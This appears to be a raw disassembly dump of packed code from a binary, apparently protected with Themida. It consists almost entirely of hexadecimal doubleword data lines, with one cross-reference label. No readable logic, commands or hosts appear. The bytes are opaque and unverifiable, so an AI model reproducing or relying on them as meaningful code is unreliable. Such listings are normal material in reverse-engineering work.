0B5890000h dd 7E41E59h, 0EE8h, 565B9700h, 9C471DC2h, 815893C7h, 0F5263EECh dd 71958B5Bh, 6A07E41Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 1033C350h, 0DBD7CA15h dd 8B04C283h, 0E42EC59Dh, 20508907h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 18C35141h, 3065116Fh, 0D3810883h dd 5B5FCFCBh, 0CD4858Dh, 868907E8h, 0B8h, 6A26B3h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0E0C35646h, 0CA9805FCh dd 9E2703DCh, 6800Fh, 85010000h, 7E402B9h, 7DF8166h, 0A5B5FF07h dd 0F07E7F8h, 95FFDEBFh, 7E431ADh, 5AD2BF66h, 5E996h, 0A06E0000h dd 505C206Eh, 0FE8h, 47AB3D00h, 9356CA8Ah, 235FCBF9h, 83D1E884h dd 8E8h, 86383700h, 2C348606h, 5BD9B349h, 6A965Fh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 764B01C3h, 8B0BB76Eh, 0E400559Dh, 0A5B5FF07h, 0BF07E7F8h dd 4D9F0872h, 1B1195FFh, 9D3107E4h, 7E403B5h, 0DF9BD83h dd 0F0007E4h, 2E84h, 80DA8B00h, 6096B2CBh, 6FA3BB66h, 5061D88Bh dd 0BE9h, 28764D00h, 2D37FED9h, 72370DB0h, 8D896096h, 7E42C4Dh dd 1D958533h, 0FF6107E4h, 0E7F8A5B5h, 53006A07h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 4C0E010Ch, 0BD232F7Fh, 7E43021h, 27D95FFh, 6A07E4h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 8BB5A5C3h, 0FFF94B02h, 0E7F8A5B5h, 1BD2B07h, 0FF07E406h dd 0E4097195h, 0B1BD8907h, 8307E401h, 0E40A21BDh, 840F0207h dd 65h, 1BA9B589h, 858B07E4h, 7E41EB5h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 5DC35242h, 12096745h dd 698D29CAh, 2307E430h, 0E42B71BDh, 0C607h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8CC35545h, 99D897Dh dd 907E40Fh, 0E4233985h, 7185C707h, 7E426h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 7EA4C352h, 0AE007C86h, 0BD8BAC5Fh, 7E43191h dd 0FFF2FFE9h, 0F1BD8BFFh, 8B07E415h, 51006AC1h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0D0FA7EB0h, 0A71E008Ch, 0FE9E0h, 29460000h, 25CFC9B0h dd 0AD2E7F45h, 0C42C4153h db 7Ah byte_5CCDE5 db 8Dh, 2 dup(85h) ; DATA XREF: Themida_:00583CE8o dd 8107E40Dh, 166418EFh, 8A0F9037h, 3, 50D88B66h, 8B90FA8Bh dd 0F9B589DAh, 6A07E42Ah, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BD03CCAAh dd 7E429F5h, 5059529h, 6A07E4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 94C35646h, 9D8B2999h, 7E41D91h dd 0ABA7858Dh, 6A07E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 514B3AC3h, 6E9D2h, 0C9010000h, 0E6FAF6Eh dd 6A05C083h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0EE97C355h, 0F8BF0F23h, 860F5290h dd 2, 505B73B3h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 27F6C4A8h, 0B3E8465Bh dd 6860Fh, 0B5890000h, 7E41B15h, 9D8B006Ah, 7E42B5Dh, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 864532C3h, 9529F88Bh, 7E41915h, 247195FFh, 6A07E4h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 48A1B0C3h, 4F38E649h, 8B96026Ch, 0E41FB9BDh, 4B8D8D07h dd 6A07E7D6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0EFE3C353h, 0BF274AA3h, 0D1FF0CC9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 4AC35646h dd 0E4EFAF4h, 26EB9FBBh, 659D8B60h, 8307E405h, 0E42015BDh dd 850F0107h, 86h, 8D9D2960h, 0F07E414h, 686h, 559D8B00h dd 6107E416h, 0C381026Ah, 5BD656A9h, 1E1D9D8Bh, 509007E4h dd 0F4FB752h, 13E831h, 961B0000h, 2536D869h, 21A966F6h dd 0A525EFB5h, 0E07B8D15h, 78BF66DDh, 585A5F88h, 0E769BB50h dd 6A906823h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 2DD0C356h, 0DD8F00A3h, 52FB89BCh dd 1FF9BD89h, 95FF07E4h, 7E431ADh, 1925BD8Bh, 53E907E4h dd 0E800000Dh, 0 dd 0B1ED815Dh, 0F07E8ABh, 587h, 0D7816600h, 79BF07F2h dd 8D43F52Dh, 0E7C6E185h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 569015D6h dd 13E8h, 42A76000h, 6787AF36h, 0DF1DCA3Bh, 3507BB53h dd 475AC8A3h, 66505F5Fh, 90F94DBBh, 21959589h, 0FF6407E4h dd 35h, 25896400h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DBC35343h dd 0E35DBF05h, 85FF7DC0h, 7E420B9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0CFC35343h, 810F0162h, 6, 24D8D89h dd 0FF6A07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 55C35747h, 550CC57Eh, 0DE8B66D7h, 0B5FFA6B7h, 7E40919h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E7C35040h dd 0A099BD6Eh, 7A4D62E3h, 4D95FFDEh, 0E907E430h, 0FEh dd 258D8960h, 8907E400h, 0E420418Dh, 0FE8B6107h, 816600B0h dd 0E69797E3h, 0E45B5070h, 0E820F71h, 60000000h, 14A98533h dd 853107E4h, 7E40A7Dh, 0F613C61h, 0C583h, 0AD9D8B00h dd 0F07E421h, 0D98BC8B6h, 6BAh, 0E19D0300h, 8B07E406h dd 0BA6660C1h, 81663ED2h, 610420F0h, 0F04E8C1h, 0F766D8BFh dd 0D9BF0FE2h, 0D18BC82Bh, 67C38166h, 5E911h, 81660000h dd 8BD42EC3h, 0E4217985h, 3D9D8B07h, 8307E41Eh, 0E85307C0h dd 0Fh, 0A04C69C2h, 30C3F1DCh, 0A4F8D291h, 81089A73h, 0C168ECF7h dd 835B5F1Dh, 0BF6600C0h, 0D03B74A2h, 11830Fh, 9D8B0000h dd 7E4148Dh, 3DE9h, 21958900h, 8B07E424h, 0E409658Dh, 49B58907h dd 8B07E427h, 0E403899Dh, 1E18307h, 1C840Fh, 81660000h dd 831808E3h, 0E40965A5h, 9589FE07h, 7E42179h, 0E7CB8166h dd 0E92Fh, 0B58D0000h, 7E8310Ch, 8E8h, 612CD00h, 0B4619F6Ah dd 998589B0h, 5B07E418h, 8589006Ah, 7E43305h, 0E4195FFh dd 0CFB907E4h, 6A000008h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 5F38C357h, 0F1BD8936h dd 8307E42Eh, 9589FCE1h, 7E404F1h, 0EB8166FCh, 0C02B3DC1h dd 29F78166h, 0FD22BE5h, 287h, 0ADFA8B00h, 0E8D1C233h dd 0E983D003h, 0FF47504h, 9D89DBBFh, 7E432F5h, 880Dh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 8766D12h, 8B96A46Dh, 0E41B7195h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0CDB52942h dd 8B07E425h, 0E42DA18Dh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 1673609Ah dd 7B14B8E3h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0C3805818h, 0B7FA8A26h, 11BD83F3h, 7E406h, 70840Fh dd 13E80000h, 5F000000h, 2BAB618Ch, 0A40052D7h, 47D786BBh dd 6FD9A36h, 11E8D103h, 0DD000000h, 44656D9Bh, 5403DB23h dd 42A3677Fh, 0BA2A78DAh, 5B5F6160h, 0B8h, 6E800h, 8BA20000h dd 5F45C5C1h, 1FD9D0Bh, 8D5B07E4h, 0E44FE78Dh, 138F0F07h dd 0E8000000h, 9, 67D05BC9h, 4015666Ah, 0B8BF66E9h, 0E1FF5B0Eh dd 4DC8DB81h, 0BD833036h, 7E422B9h, 29840F00h, 8B000005h dd 0B9BD83FBh, 107E422h, 535840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 86BCA4C3h dd 0EBE2A092h, 0F0B7D1Bh, 886h, 9D895000h, 7E41CF5h, 0CDBD8B5Fh dd 8307E419h, 0E422B9BDh, 860F0307h, 4B9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0DAC35040h, 0E35BB2FEh dd 0EC588CBFh, 95BD8B1Ah, 6007E41Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0B9C35646h, 1A7B6F82h, 66003DD1h dd 0B7DF781h, 0E8D98C66h, 0Ah, 5F8F12ECh, 59E83CC7h, 8B56C2CCh dd 0E40EB99Dh, 0E95F5F07h, 12h, 0A0AD3D0Ch, 1C437CB7h dd 5DCC62B0h, 991CBA5Ah, 0E1800521h, 12E904h, 0D4B90000h dd 93D0E77Fh, 0C8A130B3h, 19973798h, 11D2CE8h, 840FC90Ah dd 11Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0CBC35141h, 0FBACA562h, 5DCDD457h, 13ED8589h, 858B07E4h dd 7E40651h, 1B519D89h, 853307E4h, 7E42029h, 890F50FCh dd 4, 5F5F5256h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0C79FC352h, 6AB922FCh dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0B589BF0Bh, 7E40895h, 0B938EC68h, 81D88B03h dd 3B132434h, 0BD8903A6h, 7E4272Dh, 2D9995FFh, 816607E4h dd 89ED8DEFh, 0E7F8A585h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0C1F36F2h dd 0BE2A9497h, 0DE8A8EABh, 2A8E9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0E0107860h dd 0D20DAD18h, 27699D03h, 10E907E4h, 0B4000000h, 0DBC189B2h dd 0E2D93419h, 9414536Ah, 8B70B971h, 0E7F89D85h, 81BD8907h dd 0C707E421h, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 4EA3132Eh, 8D3152D5h dd 7E40A85h, 0F8A1B58Bh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 6E2F1EC3h, 6153435h dd 0EFDBD0Bh, 94BB07E4h, 8B168884h, 0E4009985h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 89A67370h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0F3CBC1Ah, 0FE8B66A8h, 651858Bh dd 8D0F07E4h, 6, 6618D89h, 468907E4h, 51006A04h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 45466EAEh, 8B96D652h, 666050F9h, 0BBB5FFBFh, 6199A86h dd 6A9661h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 606113C3h, 28E0Fh, 0FE8B0000h, 0F89DB5FFh dd 6EBB07E7h, 0E8524930h, 4, 1F03FFh, 52505250h, 13E8h dd 7D2C4800h, 0F68E8DA6h, 0A6C3FFB9h, 0F920F1FBh, 73CB3D0Ah dd 60310F5Bh, 0F585A61h, 14E931h, 0E8520000h, 4FF08E1Fh dd 6BA8B6B4h, 0E887DA5Bh, 0DCBA1AFAh, 585A37D3h, 8A0F6050h dd 0 dd 8E9h, 6CDFD000h, 1B0731B2h, 448B6199h, 74BB0424h, 8B463B3Ch dd 0F606000h, 85h, 0F525000h, 61585A31h, 7E8h, 6F14BC00h dd 43DB639Dh, 5E8h, 0B0DD3B00h, 5F5E565Dh, 24448961h, 585F5704h dd 6890Fh, 0C7810000h, 5CE83AADh, 0F8A5858Dh, 6A07E7h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 528007C3h, 26299531h, 0B70F07E4h, 565390DBh, 5FFE8B66h dd 5250505Fh, 0EC8BC5BFh, 51310F41h, 0BE9h, 0E4703F00h dd 0A2D8C542h, 0CA611DCCh, 90585A5Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 16C35343h, 9995FF75h, 6A07E42Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 98E2C355h, 0BF0FF571h, 6E961FEh, 0E8000000h dd 0C32629B4h, 0B985C7FFh, 307E422h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0F2C7C351h, 6A737492h, 28C6CA1Ah, 6E19D89h, 0F6007E4h dd 285h, 615F5300h, 0F8A5BD83h, 0F0007E7h, 3084h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0D7ED8257h, 0F6FEF381h, 21E928C2h, 8B000000h, 0E40D31BDh dd 0C305007h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 22C35242h, 0E381665Ch, 858940A6h, 7E40975h, 22B9BD83h dd 0F0307E4h, 3C985h, 0D9BD8B00h, 8307E41Bh, 0E7F8A5BDh dd 840F0007h, 3B6h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 11C35040h, 0FF3B5901h, 0E7F8A5B5h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0A62CE19h, 7775E848h, 9D8B9353h, 7E4321Dh, 0F1C38166h dd 4D95FF29h, 8B07E404h, 0E7F899B5h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8A647844h dd 46CB81FCh, 0C72FC254h, 1000106h, 0B1BD8B00h, 8907E41Fh dd 0E41D2585h, 34895007h, 0A6E38124h, 0FF0191DDh, 0E7F8A5B5h dd 9D9D8907h, 0FF07E421h, 0E42A0995h, 0C3816607h, 0B58BD377h dd 7E7F899h, 8BD9BF0Fh, 0E4316585h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0E780B6E6h dd 0DA8B662Bh, 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 1071CDC3h, 6DCC12E3h dd 958BB880h, 7E41B71h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0EBC35646h, 1E36B3F9h, 2A359C9Dh, 0F0BE6050h dd 66707655h, 6318C781h, 0C2835F61h, 0FAB70F04h, 0F205089h dd 382h, 0FBBF0F00h, 0CD4858Dh, 5E807E8h, 0D000000h, 0F3771587h dd 0F39BD8Bh, 895F07E4h, 0B886h, 0A5BD2300h, 6A07E42Fh dd 1DBD8B00h, 0F07E433h, 0B5FFD8B7h, 7E7F8A5h, 13D18509h dd 0BB6607E4h, 95FF6DA9h, 7E431ADh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 1C35343h, 43D38833h, 0AC528BE5h dd 0E19D8B7Eh, 9607E42Eh, 6830F50h, 0F000000h, 8Eh, 6A9600h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 892450C3h, 0E42C3985h, 0A5B5FF07h, 5307E7F8h, 12CD8589h dd 315F07E4h, 0E424A58Dh, 1195FF07h, 0BF07E41Bh, 42FBC69Ch dd 835BEB80h, 0E40DF9BDh, 840F0007h, 63h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 0C35343h, 3594E5Fh dd 0E42799BDh, 66605007h, 0B7BBEFBBh, 34896157h, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 892708E0h, 0E41A79BDh, 59EF8007h, 6E9h, 0EB87F300h dd 0FF8CC48Eh, 0E7F8A5B5h, 0F98D2907h, 0FF07E415h, 0E4027D95h dd 0CE907h, 0AB860000h, 88696636h, 0A436C9B9h, 0B5FF5DE1h dd 7E7F8A5h, 0DDDBD8Bh, 95FF07E4h, 7E40971h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E6C35343h, 8B5C9112h dd 0E40E4D9Dh, 21BD8307h, 207E40Ah, 93840Fh, 0DA8B0000h dd 14E9h, 0DA1E3D00h, 0A27FA9ECh, 3862A4F9h, 3EAA478Bh dd 4AAB5AD4h, 0B5858BDFh, 6A07E41Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 4A92C350h dd 0C350A0B0h, 0E8D74DC1h, 0Bh, 372F1D9Ah, 0B92A2124h dd 662D05BBh, 0FD14DF81h, 88D0F5Fh, 0F000000h, 284h, 0C69EB300h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0EA5501C3h, 890EE8DBh, 0E427698Dh, 7185C707h dd 7E426h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0AB81C356h, 9FE99B0Bh, 6AFFFFF3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0DD9EC356h, 89F94A75h, 0E42EB1B5h, 0FC18B07h dd 858DFAB7h, 7E40D85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 26C35343h, 0C455E309h, 90C59C4Dh, 5750DE8Ah dd 905FF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0EBC35343h, 9D8BFE31h, 7E425EDh, 8589006Ah, 7E415F1h dd 1481BD8Bh, 6A07E4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0B6C35343h, 0F5AF94DAh, 858DF275h, 7E8BABBh dd 0C083F88Ah, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0DC1F0601h, 0FD9D2B46h dd 8907E417h, 0E4050DB5h, 0BB665007h, 489E09Ah, 0FE924h dd 628C0000h, 30227D90h, 2159806h, 0C4D1E365h, 0F006A89h dd 580h, 0CF816600h, 6A329Eh, 224DBD29h, 95FF07E4h, 7E42471h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B9C35646h dd 14B63847h, 0E3717E69h, 68D0Fh, 8D890000h, 7E421C9h dd 0D64B8D8Dh, 0F5607E7h, 0FF5FF8BFh, 0FDBD2BD1h, 6607E423h dd 9AEFDB81h, 2015BD83h, 0F0107E4h, 7185h, 1DBD8900h, 6A07E424h dd 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0BE9B8h, 697A0000h, 22BF7A14h, 9D8E62EAh dd 0EBB3504Ch, 0F5240489h, 0F21BD8Bh, 95FF07E4h, 7E431ADh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C9C35040h dd 0A51FA5A7h, 39F8BD87h, 2C219D89h, 54E907E4h, 0E800000Eh dd 0 aBaSJ_1 db ']νΕΊθ',7,'j',0 db 53h, 0E8h, 3 dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 1B86C353h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 97C35545h, 9D8BEF48h, 7E41AF1h, 0C6E1858Dh, 6A07E7h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0F3AFA2C3h, 0C4DB0685h, 0EE8FBh, 0A9BA0000h, 0E294AF4Dh dd 0F62DF557h, 0E061939Eh, 0FD6CF781h, 0BF5F2429h, 9B0A799h dd 52525050h, 0F5BDA8Bh, 89585A31h, 0B70F2404h, 35FF64DAh dd 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 6EC35242h dd 0DB37EC48h, 1E999D8Bh, 896407E4h, 25h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0F9C29E97h, 4C9B589h, 85FF07E4h, 7E420B9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 35C35545h, 3DBD095Dh dd 6A07E41Bh, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 765127DCh, 6F47F624h, 8783BBF6h dd 0B70F6741h, 0FDB5FFF9h, 8907E422h, 0E40A359Dh, 9D9D8B07h dd 0FF07E42Fh, 0E4304D95h, 131E907h, 870F0000h, 3, 0B0FAB70Fh dd 4D850100h, 0E607E42Ch, 9DBD2970h, 0E407E424h, 0F8BF0F71h dd 830F613Ch, 10Bh, 0FF88B66h, 0B60FFBB7h, 6820FC8h, 9000000h dd 0E404398Dh, 6BA07h, 0BD8B0000h, 7E40ADDh, 9D8BC18Bh dd 7E40DDDh, 8904E8C1h, 0E400959Dh, 0E2F76607h, 0C82BFD8Ah dd 2641B589h, 0D18B07E4h, 0E9DFB70Fh, 6, 799D8Bh, 858B07E4h dd 7E4240Dh, 17810Fh, 0EE80000h, 0C3000000h, 0ED427C28h dd 35B7EF97h, 0F05B2953h, 0BFD78032h, 199D315Bh, 8307E40Fh dd 0CE807C0h, 34000000h, 6B49077Fh, 4A1B426Ah, 0E905CBAFh dd 12h, 6C4D94F0h, 6102EF8h, 1EBF4678h, 268BC9A4h, 835F5D0Dh dd 13E900C0h, 0D2000000h, 0F860199Fh, 63621142h, 66E304F6h dd 201A48BCh, 0D03B1E48h, 11830Fh, 0CF810000h, 747A58ABh dd 3AE9h, 0C5BD8B00h, 8B07E424h, 0E41AC58Dh, 799D8B07h dd 8307E431h, 840F01E1h, 1Fh, 0C5A583F9h, 0FE07E41Ah, 26499D89h dd 958907E4h, 7E4240Dh, 226BCF81h, 0E93075h, 8D000000h dd 0E84199B5h, 0DE8B6607h, 95FF006Ah, 7E40E41h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 3AC35646h, 0AAB9B848h dd 8B000008h, 0E415959Dh, 83D98B07h, 13E9FCE1h, 0E8000000h dd 0B676A3FBh, 26AD938Ah, 9EEE38CFh, 0D7694F5Bh, 6AFCCC70h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 5E24C350h, 8B85661Ah, 0E41F8DBDh, 0B807h dd 0B70F0000h, 0BAFBh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0A9896AC3h, 8D893E32h dd 7E42469h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 6ACBB7h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0F05CDC3h, 0F9B70F50h, 880D5Bh, 0BB660000h, 958B076Dh dd 7E41B71h, 0BA24F381h, 8D8B4E60h, 7E42DA1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C5C35747h, 0FDB59FDEh dd 6800Fh, 9D2B0000h, 7E429F1h, 0AE5CDF81h, 8B504E71h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BDC35747h, 6A4B11h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0C2A27EC3h, 0D17EC9F1h, 0E781EB59h, 165E6EBBh, 1BEDBD03h dd 0BD8307E4h, 7E40611h, 76840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 6756C351h, 2F85F280h, 0D59D8BAFh, 0B807E40Ah, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 8C35040h dd 10966097h, 24D59589h, 8D8D07E4h, 7E44FE7h, 2ADBD8Bh dd 0E1FF07E4h, 10E9h, 92B31500h, 0B8DFBC2Bh, 589F8B50h dd 0A0B7F46Dh, 0B9BD8391h, 7E422h, 45B840Fh, 0BD010000h dd 7E4126Dh, 22B9BD83h, 0F0107E4h, 46384h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0B634C0C8h, 0BD2B1928h, 9D0BACB4h, 7E4061Dh, 83FE8B66h dd 0E422B9BDh, 860F0307h, 3F2h, 9E8h, 0FA5B4B00h, 0CAE2798Bh dd 9E9CBBEh, 67000000h, 4729E77Eh, 93AFC2A8h, 9D8B605Fh dd 7E415F9h, 0B7D98C66h, 4E18001h, 6870Fh, 9D890000h, 7E42B55h dd 2EB59D89h, 0C90A07E4h, 0FB840Fh, 8B660000h, 51858BF8h dd 6A07E406h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 8BC4C351h, 0E4097D9Dh, 29853307h dd 0F07E420h, 68Fh, 3DBD8B00h, 9007E42Bh, 2434BB66h, 0A840F50h dd 60000000h, 0B9F78B66h, 2E510D6Eh, 27BB9061h, 6A60B5AFh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 754D3FE9h, 8596DF3Ah, 20CB8166h, 6C296837h dd 48B7DB29h, 0D6240481h, 6A24F597h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0C1E9C352h dd 317B9C3Bh, 8BDFBF0Fh, 0E408CD9Dh, 9995FF07h, 0F907E42Dh dd 0F8A58589h, 0B58907E7h, 7E42629h, 24EE9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 8C2EDC87h, 89E8BC06h, 0E41CA185h, 9D858B07h, 8B07E7F8h dd 0E424499Dh, 1800C707h, 0F000000h, 0E88h, 860F6000h dd 0 dd 8E0Fh, 8B610000h, 0E7F8A1B5h, 13E907h, 0CE070000h, 2CF32840h dd 2F4C5E7Eh, 864C070Ch, 0C9ECFAA2h, 8BDF8BA3h, 0E4009985h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 9D8B04CEh, 7E40AF5h, 2409BD8Bh, 68907E4h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E1C35646h dd 9D8BE9A5h, 7E42525h, 651858Bh, 852907E4h, 7E42299h dd 1CA98D89h, 468907E4h, 0DD8D8904h, 5007E426h, 10E8h dd 1AC5F400h, 408C77Bh, 0AC97F48Dh, 2ED02C8Dh, 0E9525078h dd 9, 0B1F676E3h, 0CD22884Ch, 8B310FEBh, 5B585AFEh, 6A243489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 9B7C357h, 2D9A06C2h, 0B2993FD5h, 0FFFE8B66h dd 0E7F89DB5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 40BC1E47h, 1BC99D0Bh dd 8B6607E4h, 8E7668DFh, 0F601B58h, 289h, 0E9616000h, 0Dh dd 80864A00h, 0D7AAE69Bh, 7FA85A3Bh, 3481616Bh, 478D8924h dd 6890F1Bh, 89000000h, 0E41D6185h, 307ABF07h, 858D0A00h dd 7E7F8A5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 7BC35545h, 89B4DF68h, 0E41BB59Dh, 50509007h, 0AE852h dd 78E80000h, 120F4648h, 30E94C40h, 7CEEBF66h, 50310F5Bh dd 0CE852h, 8A0E0000h, 0CCF348DBh, 0FDE3F1FCh, 0F5BFE55h dd 5A585A31h, 6A9058h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 889E5DC3h, 2D9995FFh, 6A07E4h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0BD8BBCC3h, 7E40139h, 0C1CF8057h, 81BD895Fh, 6107E423h dd 1435BD89h, 85C707E4h, 7E422B9h, 3, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 59C35242h, 8E303A3Ch, 